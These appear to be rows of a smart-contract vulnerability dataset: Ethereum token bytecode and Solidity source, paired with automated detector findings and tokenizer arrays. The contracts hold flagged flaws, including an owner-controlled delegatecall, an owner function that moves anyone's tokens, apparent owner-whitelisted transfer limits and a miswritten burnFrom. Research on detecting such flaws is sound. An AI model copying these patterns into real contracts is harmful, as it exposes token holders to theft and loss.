ffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610c88848484611349565b610c9157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cdd57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eaf57600080fd5b60008311610ebe576000610ec6565b6012600a0a83025b60028190555060008211610edb576000610ee3565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b505050505081565b6000610fa2338484610b23565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100657600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105a57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112075760008582815181106110c457fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161117457fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816111e357fe5b046040518082815260200191505060405180910390a35080806001019150506110ad565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106112b85780518252602082019150602081019050602083039250611295565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061137f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611585565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061142a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806114745750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806114aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115025750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115565750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156557600191505061157e565b61156f8584611713565b61157857600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106115c45783856115c7565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561172857506000600254145b801561173657506000600354145b1561174457600090506117e3565b600060045411156117a0576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179f57600090506117e3565b5b600060025411156117bf578160025411156117be57600090506117e3565b5b600060035411156117de576003548211156117dd57600090506117e3565b5b600190505b9291505056fea265627a7a72315820755931eca60b50d4b7478be1e836aa8d3c0cc79b24a851c09bd4534b67e36f6b64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2509, 7011, 2683, 2575, 14141, 20958, 29292, 2692, 2546, 2581, 2620, 2620, 2278, 16932, 2692, 2546, 2581, 20958, 2683, 2575, 2581, 2063, 2620, 2497, 17134, 17465, 2692, 2050, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,673
0x9584c15eec5f1833d66796e1cfebaab6a1e1adae
pragma solidity ^0.4.13; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Crowdsaled is Ownable { address public crowdsaleContract = address(0); function Crowdsaled() public { } modifier onlyCrowdsale{ require(msg.sender == crowdsaleContract); _; } modifier onlyCrowdsaleOrOwner { require((msg.sender == crowdsaleContract) || (msg.sender == owner)); _; } function setCrowdsale(address crowdsale) public onlyOwner() { crowdsaleContract = crowdsale; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract LetItPlayToken is Crowdsaled, StandardToken { uint256 public totalSupply; string public name; string public symbol; uint8 public decimals; address public forSale; address public preSale; address public ecoSystemFund; address public founders; address public team; address public advisers; address public bounty; address public eosShareDrop; bool releasedForTransfer; uint256 private shift; //initial coin distribution function LetItPlayToken( address _forSale, address _ecoSystemFund, address _founders, address _team, address _advisers, address _bounty, address _preSale, address _eosShareDrop ) public { name = "LetItPlay Token"; symbol = "PLAY"; decimals = 8; shift = uint256(10)**decimals; totalSupply = 1000000000 * shift; forSale = _forSale; ecoSystemFund = _ecoSystemFund; founders = _founders; team = _team; advisers = _advisers; bounty = _bounty; eosShareDrop = _eosShareDrop; preSale = _preSale; balances[forSale] = totalSupply * 59 / 100; balances[ecoSystemFund] = totalSupply * 15 / 100; balances[founders] = totalSupply * 15 / 100; balances[team] = totalSupply * 5 / 100; balances[advisers] = totalSupply * 3 / 100; balances[bounty] = totalSupply * 1 / 100; balances[preSale] = totalSupply * 1 / 100; balances[eosShareDrop] = totalSupply * 1 / 100; } function transferByOwner(address from, address to, uint256 value) public onlyOwner { require(balances[from] >= value); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); emit Transfer(from, to, value); } //can be called by crowdsale before token release, control over forSale portion of token supply function transferByCrowdsale(address to, uint256 value) public onlyCrowdsale { require(balances[forSale] >= value); balances[forSale] = balances[forSale].sub(value); balances[to] = balances[to].add(value); emit Transfer(forSale, to, value); } //can be called by crowdsale before token release, allowences is respected here function transferFromByCrowdsale(address _from, address _to, uint256 _value) public onlyCrowdsale returns (bool) { return super.transferFrom(_from, _to, _value); } //after the call token is available for exchange function releaseForTransfer() public onlyCrowdsaleOrOwner { require(!releasedForTransfer); releasedForTransfer = true; } //forbid transfer before release function transfer(address _to, uint256 _value) public returns (bool) { require(releasedForTransfer); return super.transfer(_to, _value); } //forbid transfer before release function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(releasedForTransfer); return super.transferFrom(_from, _to, _value); } function burn(uint256 value) public onlyOwner { require(value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(value); balances[address(0)] = balances[address(0)].add(value); emit Transfer(msg.sender, address(0), value); } }
0x6060604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f85780631139a3551461022e57806318160ddd1461024357806323b872dd14610268578063313ce5671461029057806331616395146102b95780633b87ec2d146102e8578063411b007e146102fb57806342966c681461030e578063466ccac014610324578063483a20b2146103375780634f6cb43f1461035657806354517ddf146103695780635a15c373146103915780635a7adf7f146103b957806366188463146103cc57806370a08231146103ee5780637ec54bdc1461040d57806385f2aef2146104205780638da5cb5b14610433578063943dfef11461044657806395d89b4114610459578063a9059cbb1461046c578063d73dd6231461048e578063dbbbe8df146104b0578063dd62ed3e146104d2578063f2fde38b146104f7575b600080fd5b341561017957600080fd5b610181610516565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bd5780820151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020357600080fd5b61021a600160a060020a03600435166024356105b4565b604051901515815260200160405180910390f35b341561023957600080fd5b610241610620565b005b341561024e57600080fd5b6102566106b5565b60405190815260200160405180910390f35b341561027357600080fd5b61021a600160a060020a03600435811690602435166044356106bb565b341561029b57600080fd5b6102a36106fa565b60405160ff909116815260200160405180910390f35b34156102c457600080fd5b6102cc610703565b604051600160a060020a03909116815260200160405180910390f35b34156102f357600080fd5b6102cc610712565b341561030657600080fd5b6102cc610721565b341561031957600080fd5b610241600435610730565b341561032f57600080fd5b6102cc610846565b341561034257600080fd5b610241600160a060020a036004351661085a565b341561036157600080fd5b6102cc6108a4565b341561037457600080fd5b61021a600160a060020a03600435811690602435166044356108b3565b341561039c57600080fd5b610241600160a060020a03600435811690602435166044356108d1565b34156103c457600080fd5b6102cc6109ba565b34156103d757600080fd5b61021a600160a060020a03600435166024356109c9565b34156103f957600080fd5b610256600160a060020a0360043516610ac3565b341561041857600080fd5b6102cc610ade565b341561042b57600080fd5b6102cc610aed565b341561043e57600080fd5b6102cc610afc565b341561045157600080fd5b6102cc610b0b565b341561046457600080fd5b610181610b1a565b341561047757600080fd5b61021a600160a060020a0360043516602435610b85565b341561049957600080fd5b61021a600160a060020a0360043516602435610bc2565b34156104bb57600080fd5b610241600160a060020a0360043516602435610c66565b34156104dd57600080fd5b610256600160a060020a0360043581169060243516610d68565b341561050257600080fd5b610241600160a060020a0360043516610d93565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ac5780601f10610581576101008083540402835291602001916105ac565b820191906000526020600020905b81548152906001019060200180831161058f57829003601f168201915b505050505081565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015433600160a060020a039081169116148061064b575060005433600160a060020a039081169116145b151561065657600080fd5b600f5474010000000000000000000000000000000000000000900460ff161561067e57600080fd5b600f805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60055481565b600f5460009074010000000000000000000000000000000000000000900460ff1615156106e757600080fd5b6106f2848484610e2e565b949350505050565b60085460ff1681565b600154600160a060020a031681565b600a54600160a060020a031681565b600b54600160a060020a031681565b60005433600160a060020a0390811691161461074b57600080fd5b600160a060020a03331660009081526002602052604090205481111561077057600080fd5b600160a060020a033316600090815260026020526040902054610799908263ffffffff610f9e16565b600160a060020a03331660009081526002602052604081209190915580527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546107e9908263ffffffff610fb016565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b9190915533600160a060020a03166000805160206110a98339815191528360405190815260200160405180910390a350565b6008546101009004600160a060020a031681565b60005433600160a060020a0390811691161461087557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600d54600160a060020a031681565b60015460009033600160a060020a039081169116146106e757600080fd5b60005433600160a060020a039081169116146108ec57600080fd5b600160a060020a0383166000908152600260205260409020548190101561091257600080fd5b600160a060020a03831660009081526002602052604090205461093b908263ffffffff610f9e16565b600160a060020a038085166000908152600260205260408082209390935590841681522054610970908263ffffffff610fb016565b600160a060020a03808416600081815260026020526040908190209390935591908516906000805160206110a98339815191529084905190815260200160405180910390a3505050565b600954600160a060020a031681565b600160a060020a03338116600090815260046020908152604080832093861683529290529081205480831115610a2657600160a060020a033381166000908152600460209081526040808320938816835292905290812055610a5d565b610a36818463ffffffff610f9e16565b600160a060020a033381166000908152600460209081526040808320938916835292905220555b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600f54600160a060020a031681565b600c54600160a060020a031681565b600054600160a060020a031681565b600e54600160a060020a031681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ac5780601f10610581576101008083540402835291602001916105ac565b600f5460009074010000000000000000000000000000000000000000900460ff161515610bb157600080fd5b610bbb8383610fbf565b9392505050565b600160a060020a033381166000908152600460209081526040808320938616835292905290812054610bfa908363ffffffff610fb016565b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60015433600160a060020a03908116911614610c8157600080fd5b6008546101009004600160a060020a031660009081526002602052604090205481901015610cae57600080fd5b6008546101009004600160a060020a0316600090815260026020526040902054610cd89082610f9e565b600854600160a060020a0361010090910481166000908152600260205260408082209390935590841681522054610d15908263ffffffff610fb016565b600160a060020a0380841660008181526002602052604090819020939093556008549092610100909104909116906000805160206110a98339815191529084905190815260200160405180910390a35050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610dae57600080fd5b600160a060020a0381161515610dc357600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610e4557600080fd5b600160a060020a038416600090815260026020526040902054821115610e6a57600080fd5b600160a060020a0380851660009081526004602090815260408083203390941683529290522054821115610e9d57600080fd5b600160a060020a038416600090815260026020526040902054610ec6908363ffffffff610f9e16565b600160a060020a038086166000908152600260205260408082209390935590851681522054610efb908363ffffffff610fb016565b600160a060020a03808516600090815260026020908152604080832094909455878316825260048152838220339093168252919091522054610f43908363ffffffff610f9e16565b600160a060020a03808616600081815260046020908152604080832033861684529091529081902093909355908516916000805160206110a98339815191529085905190815260200160405180910390a35060019392505050565b600082821115610faa57fe5b50900390565b600082820183811015610bbb57fe5b6000600160a060020a0383161515610fd657600080fd5b600160a060020a033316600090815260026020526040902054821115610ffb57600080fd5b600160a060020a033316600090815260026020526040902054611024908363ffffffff610f9e16565b600160a060020a033381166000908152600260205260408082209390935590851681522054611059908363ffffffff610fb016565b600160a060020a0380851660008181526002602052604090819020939093559133909116906000805160206110a98339815191529085905190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582099ad2d680dd6f28bb5395db09a533f12c90f6b521a5cb86db90eac2ae5b1f5000029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 27814, 2549, 2278, 16068, 4402, 2278, 2629, 2546, 15136, 22394, 2094, 28756, 2581, 2683, 2575, 2063, 2487, 2278, 7959, 3676, 7875, 2575, 27717, 2063, 2487, 8447, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2410, 1025, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 3937, 18715, 2368, 2003, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,674
0x9584d9ab18980f757bd51973043c7f1a0c5de9d5
pragma solidity ^0.4.20; contract SafeMath { function safeMul(uint256 a, uint256 b) public pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b)public pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b)public pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b)public pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function _assert(bool assertion)public pure { assert(!assertion); } } contract ERC20Interface { string public name; string public symbol; uint8 public decimals; uint public totalSupply; function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC20 is ERC20Interface,SafeMath { // ?????????????balanceOf???? mapping(address => uint256) public balanceOf; // allowed?????????????????address?? ????????????(?????address)?????uint256?? mapping(address => mapping(address => uint256)) allowed; constructor(string _name) public { name = _name; // "UpChain"; symbol = "RICH"; decimals = 4; totalSupply = 1000000000000; balanceOf[msg.sender] = totalSupply; } // ??? function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); require(balanceOf[msg.sender] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ; balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to],_value); allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender], _value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnerShip(address newOwer) public onlyOwner { owner = newOwer; } } contract SelfDesctructionContract is owned { string public someValue; modifier ownerRestricted { require(owner == msg.sender); _; } function SelfDesctructionContract() { owner = msg.sender; } function setSomeValue(string value){ someValue = value; } function destroyContract() ownerRestricted { selfdestruct(owner); } } contract AdvanceToken is ERC20, SelfDesctructionContract{ mapping (address => bool) public frozenAccount; event AddSupply(uint amount); event FrozenFunds(address target, bool frozen); event Burn(address target, uint amount); constructor (string _name) ERC20(_name) public { } function mine(address target, uint amount) public onlyOwner { totalSupply =SafeMath.safeAdd(totalSupply,amount) ; balanceOf[target] = SafeMath.safeAdd(balanceOf[target],amount); emit AddSupply(amount); emit Transfer(0, target, amount); } function freezeAccount(address target, bool freeze) public onlyOwner { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) public returns (bool success) { success = _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(allowed[_from][msg.sender] >= _value); success = _transfer(_from, _to, _value); allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender],_value) ; } function _transfer(address _from, address _to, uint256 _value) internal returns (bool) { require(_to != address(0)); require(!frozenAccount[_from]); require(balanceOf[_from] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to],_value) ; emit Transfer(_from, _to, _value); return true; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); totalSupply =SafeMath.safeSub(totalSupply,_value) ; balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(allowed[_from][msg.sender] >= _value); totalSupply =SafeMath.safeSub(totalSupply,_value) ; balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender], _value); allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender],_value); emit Burn(msg.sender, _value); return true; } }
